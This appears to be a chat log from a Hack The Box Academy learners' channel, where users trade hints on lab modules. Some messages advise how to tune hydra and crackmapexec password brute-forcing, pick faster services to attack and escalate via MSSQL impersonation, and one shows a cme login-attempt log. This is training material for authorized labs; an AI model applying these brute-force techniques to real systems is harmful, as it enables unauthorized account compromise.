No, honestly, until now I never understood why you should query an IMAP server with the Console.
If I have access, then I can also use a mail client.
That's why I never really cared about it until now.

#

But the question keeps coming up. Someday, when I find the time, I'll try it with the Conosle. Just for fun

#

IMAP and DNS

fathom pendant
#

I linked a useful IMAP commands article

acoustic owl
#

DNS is easy, but IMAP …

acoustic owl
fathom pendant
#

Once you know how it works it's easy with console...

#

Then again that's how most console things work

#

MSSQL GUI? Gross, MSSQL CLI ? Clean

acoustic owl
#

I believe that immediately. That's the case with everything. Once you understand it, it's simple and logical.

fathom pendant
#

The modules are great jumping points as well if you want to dive deeper

zinc marsh
acoustic owl
zinc marsh
#

i did dig in all the subdomains

#

and any of them work

pine dagger
#

@lethal shard Any hints on Q2 of the Skill Assessment 2? 🙂

zinc marsh
fathom pendant
quick cloud
fathom pendant
misty current
quick cloud
#

I'm at 13 hours on password Attacks and about halfway through haha

zinc marsh
red current
fathom pendant
#

Password attacks is needlessly slow

zinc marsh
misty current
fathom pendant
#

realistic but needless

zinc marsh
tidal ore
#

whos good on programming

fathom pendant
tiny prairie
#

Hy i am new fresher in this group

fathom pendant
pine dagger
#

No one.

fathom pendant
#

No one here will help you ddos

#

Some indian dude on YT may help you though

#

Prayge they always come in clutch

tidal ore
#

name ??

fathom pendant
#

Idk dude

tidal ore
#

hahahahaha

fathom pendant
#

I was being abstract. DDOS is directly against any ToS, therefore illegal. If you read #rules

lethal shard
tidal ore
#

@fathom pendant come on private

fathom pendant
#

Fuck off

#

:)

acoustic owl
pine dagger
#

🎵 Trying to get themselves banned, and we all watch and laugh.🎵

fathom pendant
#

You've already been told no. Continuing this will result in moderators being involved

red current
acoustic owl
red current
acoustic owl
#

People often tend to want to solve things in a way that is far too complicated. Happens to me all the time

sonic seal
#

Hello everyone! I'm a little stuck in the last question on the PIVOTING, TUNNELING, AND PORT FORWARDING: Skills Assessment. I've found the DC on 172.16.10.5 because it's a Windows machine. But I can't acces by RDP into it. Can I someone give me some tips?

pine dagger
red current
misty current
lethal shard
sonic seal
pine dagger
fathom pendant
#

What is this video?

#

@winged hedge

rigid iron
#

my recent work that will hack the mind to reality

fathom pendant
#

Eh it's not relevant to this channel

rigid iron
#

it is relevant to life

lethal shard
fathom pendant
#

It's not relevant at all

rigid iron
#

this channel would not exist if it wasnt for this message

fathom pendant
#

Not really

pine dagger
pulsar needle
#

In introduction to windows command line, section finding files and directories

#

the where command dosent work

#

i get 0 output

autumn pilot
#

make sure you have an administrative cmd prompt and you are in the root folder of the drive

#

this is one approach

keen compass
#

Hello, I am trying to do the dictionnary attack on SSH service for user "sam" on this https://academy.hackthebox.com/module/147/section/1391 (Password Mutations).
My mutated wordlist is about 1000 words.
Do you have suggestions about performance considerations using CME and hydra to do the password attack on the SSH service ?
I have tried hydra with 60 threads but am getting a lot of connection errors...
The attack seems to be going to take quite a long time. I am wondering if this is the intended way of the module or not ?

HTB Academy : Cybersecurity Training

Login to HTB Academy and continue levelling up your cybsersecurity skills.

upbeat dragon
#

Hi, need help with the following:

Module: Shells & Payloads
Section: The Live Engagement
Question: Host 2 - Exploit the blog site and establish a shell session with the target OS. Submit the contents of /customscripts/flag.txt.

After running the exploit inside msfconsole i get the following error: "Exploit failed: NoMethodError undefined method `split' for nil:NilClass". Any idea on what am i possibly doing wrong?

autumn pilot
keen compass
autumn pilot
#

somewhere here in the channel, this will reduce the time and words that will be used for bruteforcing

keen compass
#

Thanks for the hint, but I am looking for the realistic approach : if I am facing this in the exam, I won't have a hint on the first letter of the password you know...
I don't master enough the tools yet to be sure to use them correctly :

  • Do you know if there are good tutorials on how to "tune" hydra to get the best results ? or should I just use -t 64 and let it adapt ?
  • Should I also make modification to the default settings like the time to wait for a response (-w) or time between connects per thread (-W) ?
  • or perhaps cme may be faster than hydra ? from my testing, changing the number of threads using -t didn't make much differences...
    Is this normal to be that slow or am I doing something wrongly ?
autumn pilot
#

haven't done the exam, therefore my feedback will be not the greatest example

#

you adjust as per the password policies, weak passwords and etc that you have gather as info

#

the exercise in the section is a bit of an overkill, since you are generating a humongous password list that will take more time for brute forcing with it compared to the lifetime of the target

keen compass
pulsar needle
misty current
# autumn pilot you adjust as per the password policies, weak passwords and etc that you have ga...

Adding to this, looking at a realistic approach, you would have to review the wordlist if you've generated+mutated with a tool. For the section, once you mutate, there are duplicates which you need to remove. The first 1000ish lines are numbers with special characters and the chances of that being a password is very low, so you'd remove that.
Finally, with this refined wordlist, you just hope that you get the password.

autumn pilot
#

To me, it only showcases the mutations

misty current
#

Also, they recommend to use -u option in Hydra as it rotates the usernames with each password instead. Which makes chances of hitting the password sooner.

sweet goblet
#

Hey! Im havingb a bit of a problem.
Module: ATTACKING COMMON SERVICES
Question: What is the password for the username "jason"?

Tried brute forcing SMB using crackmapexec and metasploit (smb_logon) via passwords.list (acquired from the resources). No luck.
what to do now?

autumn pilot
pulsar needle
#

I get nothing at all

#

And it gives me the output in 1 second

#

or less

#

I tried resetting the box

#

it didnt help

autumn pilot
#

Check the section, there is something that you are forgetting

pulsar needle
#

Wdym?

autumn pilot
#

basically, read the material again

pulsar needle
#

But no matter what i want to get

#

where dosent work

#

like

#

where cmd

#

dosent work

autumn pilot
#

Yes, because you are missing something, and please type on one line

autumn pilot
pulsar needle
#

Aaaa

#

you ment that i

#

But its in the vm so i cant copy past

#

e

#

F

keen compass
#

there is also an FTP and SMB service running on the target, may I attack them instead of attacking SSH or would this be out of the exercice "rules" ?

autumn pilot
#

play around and find out, thats what are the exercises for

#

no one will stop you from finding another way of doing a X thing

keen compass
#

sure, but I won't be confident if I use an "easy" path and don't know how to do it with an harder path (as said, I am not sure to use properly tools parameters)

misty current
#

Always go for the services that let's you brute-force faster.
When it comes to this particular module, I'd say try not to take realism into too much consideration.
Just keep the important points from the module in mind. Take notes. I haven't attempted the exam myself but I think it'll be enough to serve you well in the exam.

pulsar needle
#

I checked the C:\ Drive

#

and couldnt find waldo.txt

autumn pilot
#

keep going, reduce the surface, where could waldo be

#

if you can't find it from the C:\ directory go somewhere else, who can hide waldo

#

can it be a system, service account on else that can hide him

pulsar needle
#

Aaaa this is a easy module lmao

#

Like grade "easy"

#

I had to connect with rdp instead of ssh as specified because when i connected with ssh it didnt give me any output

#

but now i am getting some output

sweet goblet
pulsar needle
#

I get an error using ssh

#

but i am not allowed to post pictures and its on my vm

autumn pilot
#

Adding --local-auth to any of the authentication commands with attempt to logon locally.

sweet goblet
fathom pendant
pulsar needle
#

I did, but they got deleted

fathom pendant
#

If they contain spoilers then yeah they'll probably get deleted by a mod

#

Iirc you only need to verify to be able to share screenshots

pulsar needle
#

They contained nothing, i tried a command and got 0 output

#

Lol

#

Then i tried on the shell and got a weird error, but ill look into it tomorrow, i have school and need to go to bed now hehe

quick cloud
#

Yo I do not like credential hunting

fathom pendant
#

Just get good

#

@upbeat dragon don't randomly dm me , read the #rules

quick cloud
#

Hahaha

#

These modules are making me feel like a pro hacker hehe

fathom pendant
#

Dming is a 2 party consent.

upbeat dragon
acoustic owl
fathom pendant
#

My game plan is to not start climbing until after I get CPTS

keen compass
zinc marsh
#

while im doing the modules

#

im moving to medium now that i know i can solve easy machines solo

misty current
#

Same here, CPTS is priority and I'm hitting OSCP the moment I pass CPTS.

fathom pendant
quick cloud
#

Yeah one I pass CPTS I will feel confident in passing OSCP

zinc marsh
#

i will just get the htb exams

#

the CPTS and the CBBH

#

what wordlist should i use for the passwords in the Mail Services section in Attacking common services?

#

i used the wordlist they provide and it isnt the correct one

rustic sage
#

Hi @livid wing , did u get any answers on this? because I have the same doubt! Thanks

keen compass
zinc marsh
keen compass
#

yes

zinc marsh
keen compass
#

the question on password mutations

zinc marsh
#

it is just mutate the password wordlist

#

with the rule they provide

#

and bruteforce it with hydra

#

what services do the target have opened?

keen compass
# zinc marsh and bruteforce it with hydra

I prevously asked about how to fine tune hydra (or cme) to solve this question since it takes ages to attack SSH and the wordlist is is huge. Peoples here told be to just try password starting with letter b

#

I tried this against smb service and got no success

zinc marsh
#

what ports are open

keen compass
#

ftp smb ssh

zinc marsh
#

did u try in the ftp?

keen compass
#

nop, I tried SMB

#

FTP is faster to answer than SMB ?

zinc marsh
#

try it

zinc marsh
fathom pendant
#

I've been having issues lol smbv1 not supported with hydra, cme worked though

#

But ftp should also work

keen compass
zinc marsh
#

yea

keen compass
#

how long did it took (approx)

zinc marsh
#

i dont remember

keen compass
#

you had to respawn the target ?

zinc marsh
#

but it takes long i think

fathom pendant
#

I would suggest -t 48

zinc marsh
#

i did it with -t 64

#

it took like 15-20 min i think

keen compass
#

wow, really fast

fathom pendant
#

64 can be touchy

#

If you want it faster, cut the first 17k lines

keen compass
#

will try again using FTP thx

#

no, I want it to be realistic (at least after being sure to type the correct command line 😄

zinc marsh
#

@fathom pendant what wordlist did u use for the password in Attacking Common Services

fathom pendant
#

Uhhhh

#

Sec

zinc marsh
#

SMTP

#

i used the wordlist they provide and i didnt get the password for ||M*||

fathom pendant
zinc marsh
#

no

fathom pendant
#

:)

zinc marsh
fathom pendant
#

Are you using the full username then ? m*@domain?

zinc marsh
#

yea just did it

#

ty

fathom pendant
#

:)

#

Super simple, it tripped me up too

#

You forgot one step: cry

zinc marsh
#

@fathom pendant one question i always do it with imap or imaps

#

the cheatsheet is the same for pop3 and smtp?

fathom pendant
#

Not quite

#

There should be a list of SMTP commands on the page

#

But generally to retrieve said emails you'll use a different service. Perhaps the service that hydra tells you

#

SMTP, IMAP, POP3 fall under the email umbrella

static roost
#

In Documentation and Reporting Skills practice lab, I'm looking for the command injections finding. I know it's not necessary for completion, but it'd be cool to know where it is for science.

summer lava
#

For God's Sake.. can someone help me with this.. i've been stuck on this until my eyes are red
ATTACKING COMMON APPLICATIONS ==> Exploiting Web in Thick-Client Applications

Well right in the SQL PART === i have done everything to my best understanding and then complied the program but when i executes it nothing shows up
waxen kayak
#

is it just a roll of the dice if zap hud works? I have not been able to get it to work at all. different browsers , parrot \ pwn \ kali, reinstallation etc... never get it to work.

static roost
#

@summer lava You can PM me with details

quick cairn
#

hello , Can someone help me with the File Upload Attacks module, Limited File Uploads section Q2 (Try to read the source code of 'upload.php' to identify the uploads directory, and use its name as the answer. (write it exactly as found in the source, without quotes)

red current
#

I'm in the Skills Assessment for File Upload Attacks and no matter how I craft my payload, I get Only images are allowed. I've tried fuzzing for both the extension and the content-type. I get the same response. Anyone know a way around this?

red current
quick cairn
red current
#

Sure.

rustic sage
#

How do I do this stuff.

outer steeple
#

I can't believe how awful this mutated password list module is

zinc marsh
#

someone i can ask to upgrade a webshell?

outer steeple
#

I'd just go ahead and ask and see what you get back

prime nova
fathom pendant
#

Whatever happens to interest you

runic inlet
#

hello guys. i got some problem in footprinting module in smb client section.

#

smbclient -N -L //10.129.37.196

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
sambashare      Disk      InFreight SMB v3.1
IPC$            IPC       IPC Service (InlaneFreight SMB server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

red current
#

I'm still stuck on the File Upload Attacks assessment. Nothing so far has worked. I can't even seem to get the source code. Is anyone available to assist with this assessment?

fathom pendant
runic inlet
#

there is problem with NT_STATUS_INVALID_NETWORK_RESPONSE i guess

fathom pendant
#

Try resetting the lab

#

Or switch from TCP to udp for your VPN config

#

Or UDP > TCP

#

Note you will need to stop your current OpenVPN process and start a new one with the new download

runic inlet
#

got you thanks

fathom pendant
#

I just tried the same thing you did and it works just fine for me

runic inlet
fathom pendant
#

It gave you a valid response so not sure what the error is

runic inlet
#

its still same stuff showed

#

smbclient -N -L //10.129.202.5

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
sambashare      Disk      InFreight SMB v3.1
IPC$            IPC       IPC Service (InlaneFreight SMB server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

runic inlet
fathom pendant
#

That looks like something with your machine not the lab

#

What VPN server are you on?

runic inlet
#

yes

#

and i tried in other machine as well

fathom pendant
#

pwnbox?

runic inlet
#

yes

fathom pendant
#

I'm asking what VPN server you are running, us, eu

#

1/2

runic inlet
#

eu

fathom pendant
#

Yea I'm having no issues on us-1. Try switching VPN regions

#

Also you should not be running VPN on your own vm and pwnbox at the same time, this can cause connection issues

quasi wave
#

Is it worth it to just keep working through HTB Academy job role learning paths but not getting certs? I think I want to complete both job role paths in 5 months would be an excellent goal. I’m thinking I could do that while working on HTB main platform boxes that correspond to each module? What do you think?

#

I care more about skills than certs

#

Please be honest btw

fathom pendant
#

It's still learning

quasi wave
#

But what I am really asking is if it’s doable in five months assuming I have completed information security foundations skill path

fathom pendant
#

¯_(ツ)_/¯

#

Depends on your personal time investment

quasi wave
#

I’m fairly devoted. I spend A LOT of time on hack the box

#

Let’s say I am a fast learner

#

Can it be done in five months and still have all the skill from it?

#

Basically what’s a good goal to set

fathom pendant
#

I mean yeah

dusky vale
#

$ npm install -g http-server # install dependency
$ http-server -p 8000

loud yacht
red current
loud yacht
#

can i dm you?

fathom pendant
fiery berry
thorn urchin
#

double check you have the right one. One of those labs has multiple ccache files for the user but only one is actually valid.

acoustic owl
#

dig is a great tool. But what exactly did you try?

#

Send me the subdomains you found via DM so we don't spoil here.

rustic sage
#

I can i get some help on a module.

#

I am tring to print the home Directory of a user and I manged to find it but the answer field is not taking it.

acoustic owl
autumn pilot
#

my bet would be linux fundamentals

rustic sage
#

Linux basics/ fundamentals

#

guys i need to know if something of my personal information is in danger

rustic sage
autumn pilot
#

make sure you have SSH into the target

acoustic owl
rustic sage
#

can't nobody answer

#

@acoustic owl The DM is locked

fiery sky
acoustic owl
fiery sky
autumn night
#

Hi , I am finishing Cracking Passwords with Hashcat module, at the last question of skills assessment I got a little help and I was told that it is the last part that is the hash, but I was wondering what is the rest of it eg in this:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58::: and how am I supposed to know which part is the hash?

acoustic owl
autumn night
#

thanks.. a lot of things here that I don't understand. I have only done the basic toolset path so far.

haughty blade
#

2 𝚓𝚞𝚗𝚎 𝚖𝚢 ʙɪʀᴛʜᴅᴀʏ 𝕡𝕝𝕫 🆆🅸🆂🅷 🄼🄴
@everyone

naive wadi
#

Does anyone have any issues with RDP maintaining a connection over the VPN? Doing the foot printing medium lab and my connection drops alit despite my speed being stable etc?

proud pine
naive wadi
#

Was just using the default config provided, so whatever it is. I've stepped away but will check later

proud pine
#

Default should probably be UDP. I'd try redownloading the VPN, and selecting TCP.

naive wadi
#

Will try whatever the opposite is of what I am using. But now you mention it makes sense to use TCP for this

#

Didn't even realize sperate options were provided

#

Thanks

potent harbor
#

Hi, I am unsure if this is the correct place for me to ask. Is anyone able to guide me regards to Module ( Introduction to Networking ) How do calculate to get the 2nd subnet. "Split the network 10.200.20.0/27 into 4 subnets and submit the broadcast address of the 2nd subnet"

acoustic owl
potent harbor
quick cloud
#

there is nothing more satisfying than solve a box first try 🙂

potent harbor
#

Thank you ! I managed to get the answer !

fathom pendant
runic inlet
hollow finch
#

Greetings All, on the last question in Password Attacks - Network Services module: "Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer." I'm able to see the shares and access one of them but am getting denied access when attempting to dir or ls...anyone have any idea what I'm missing?

hardy socket
#

hey guys, I'm on the Pass the Ticket (PtT) from Windows questions in the Password Attacks module and
I'm experiencing problems rdp-ing into the target with the creds provided for the first question. Did anyone have similar issues?

fathom pendant
#

pika_sip you need to log in to be able to see files

hollow finch
#

@fathom pendant yes I found the user and password and am able to get the smb prompt

fathom pendant
#

It could be a false positive

#

Or a trap

#

See if it accepts any password

hollow finch
#

why would I use any password when I'm able to get into the smb share

#

with an authed user

fathom pendant
#

I'm asking if it accepts the user and any password

hollow finch
#

negative from what I've seen thus far

fathom pendant
#

Gotcha

fiery berry
hardy socket
fiery berry
zinc marsh
#

someone could give me a nudge for Attacking Common Services - Hard

#

I got rdp to user ||f*||

#

i tried all the wordlists for the user ||j*||

fiery berry
zinc marsh
#

i already tried the mssql, rdp and smb

fiery berry
zinc marsh
fiery berry
zinc marsh
#

yea of course i tried lol

#

||i could log in now without creds just writing sqlcmd||

fathom pendant
#

🙃

autumn pilot
#

perhaps there is a more intuitive tool for the purpose

fiery berry
#

I did not use any "tool", I guess there are multiple ways to solve the lab

fathom pendant
#

Because giving a direct answer or giving a solution doesn't help learning

onyx rapids
#

Why are you even here? Your entire account is a gigantic red flag

fathom pendant
#

Hate woman GigaChad

fathom pendant
#

99% sure troll

#

Let's just move on as this is getting off topic

zinc marsh
#

serious rule breaker coming soon

zinc marsh
zinc marsh
#

someone could give me a nudge for attacking common services - hard

#

i got impersonate as ||j*|| in the sql server

acoustic owl
zinc marsh
#

oh i got what i have to do

#

i dont need to login there

#

just use the command ||execute||

acoustic owl
zinc marsh
#

got the flag ty

acoustic owl
#

Look at the #rules. Especially rule 7

fathom pendant
#

Dammit bnnuy beat me to it

tough prawn
#

Can someone help me with the Broken Authentication module, Predictable Reset Token "Create a token on the web application exposed at subdirectory /question1/ using the Create a reset token for htbuser button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?"

#

stuck on this for 3 hours

acoustic owl
misty current
#

Is there an option in cme that retries for Connection Error:

SMB         10.129.244.10   445    ATTCSVC-LINUX    [-] \jason:alexis STATUS_LOGON_FAILURE 
SMB         10.129.244.10   445    ATTCSVC-LINUX    [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         10.129.244.10   445    ATTCSVC-LINUX    [-] \jason:samson STATUS_LOGON_FAILURE 
SMB         10.129.244.10   445    ATTCSVC-LINUX    [-] \jason:5150 STATUS_LOGON_FAILURE ```
hexed python
#

Yo

#

I'm advanced SQL INjection

#

I have a problem with this question

#

Inside AuthController.java there is an SQL injection vulnerability within an INSERT query. Which variable can NOT be used for exploitation?

#

I have use all the variable and none of them are work

#

any ideas at all ?

tough prawn
#

btw congrats for the role

acoustic owl
tough prawn